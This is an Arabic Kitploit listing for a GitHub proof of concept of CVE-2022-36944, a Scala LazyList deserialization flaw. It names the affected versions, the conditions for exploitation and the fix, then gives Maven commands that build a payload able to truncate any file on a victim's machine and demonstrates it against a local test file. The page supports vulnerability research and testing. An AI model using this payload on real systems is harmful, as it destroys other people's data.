Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
lazylist-cve-poc — POC لاستغلال الثغرة CVE-2022-36944 | Kitploit
أدوات/GitHubGitHub/yarocher/lazylist-cve-poc
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليماستغلال الملفات الثنائية
GitHubyarocher/lazylist-cve-poc

lazylist-cve-poc

POC لاستغلال الثغرة CVE-2022-36944

عرض المستودع
11113منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مولد حمولة CVE-2022-36944

تم إنشاء هذا المشروع المصغر لإثبات مفهوم الثغرة الأمنية CVE-2022-36944. إنه مشابه لـ ysoserial، ولكنه يولد حمولة فقط لهذه الثغرة باستخدام فئة LazyList.

أسئلة سريعة شائعة

ما هي القطع الأثرية التي تجلب الثغرة؟

org.scala-lang:scala-library بالإصدارات 2.13.x قبل 2.13.9

ما التطبيقات المعرضة للخطر؟

يجب الجمع بين شرطين لجعل تطبيقك قابلاً للاستغلال:

  • يحتوي تطبيقك على ملف jar scala-library المعرض للخطر في مسار الفئات
  • يتم استدعاء ObjectInputStream#readObject() في النهاية في مكان ما في تطبيقك ويتم تمرير بيانات غير موثوقة (يتحكم فيها المهاجم) إليها

أين تم إصلاح الثغرة؟

انظر طلب السحب الخاص بـ scala: #10118

بناء

root@kitploit:~
mvn clean package

تشغيل

الأمر التالي سيقوم بإخراج الحمولة في stdout والتي يمكن استخدامها لاقتطاع أي ملف على جهاز الضحية:

root@kitploit:~
mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="/file/to/truncate false"

عرض توضيحي

أ) عبر ملف

  1. قم بتحضير ملف اختبار يحتوي على بعض البيانات:
root@kitploit:~
$ yes sometestdata > test_data
^C
$ head test_data 
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
  1. قم بتوليد الحمولة واحفظها في ملف payload.ser:
root@kitploit:~
$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="${PWD}/test_data false" > payload.ser
  1. قم بتشغيل عملية الضحية (من المتوقع حدوث ClassCastException):
root@kitploit:~
$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.victim.Victim" -Dexec.args="payload.ser"
[ERROR] Failed to execute goal org.codehaus.mojo:exec-maven-plugin:3.1.0:java (default-cli) on project lazylist-cve-poc: An exception occurred while executing the Java class. java.lang.ClassCastException: class java.io.FileOutputStream cannot be cast to class scala.collection.immutable.LazyList$State (java.io.FileOutputStream is in module java.base of loader 'bootstrap'; scala.collection.immutable.LazyList$State is in unnamed module of loader org.codehaus.mojo.exec.URLClassLoaderBuilder$ExecJavaClassLoader @72805168) -> [Help 1]
[ERROR] 
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR] 
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException
  1. تحقق من أن ملف الضحية قد تم اقتطاعه:
root@kitploit:~
$ head test_data 
$ 

ب) التوجيه إلى الإدخال القياسي

يمكن دمج الخطوتين 2-3 بهذه الطريقة (استخدم "-" كملف للضحية):

root@kitploit:~
$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="${PWD}/test_data false" | mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.victim.Victim" -Dexec.args="-"
[ERROR] Failed to execute goal org.codehaus.mojo:exec-maven-plugin:3.1.0:java (default-cli) on project lazylist-cve-poc: An exception occurred while executing the Java class. java.lang.ClassCastException: class java.io.FileOutputStream cannot be cast to class scala.collection.immutable.LazyList$State (java.io.FileOutputStream is in module java.base of loader 'bootstrap'; scala.collection.immutable.LazyList$State is in unnamed module of loader org.codehaus.mojo.exec.URLClassLoaderBuilder$ExecJavaClassLoader @72805168) -> [Help 1]
[ERROR] 
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR] 
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException
تنزيل الأداة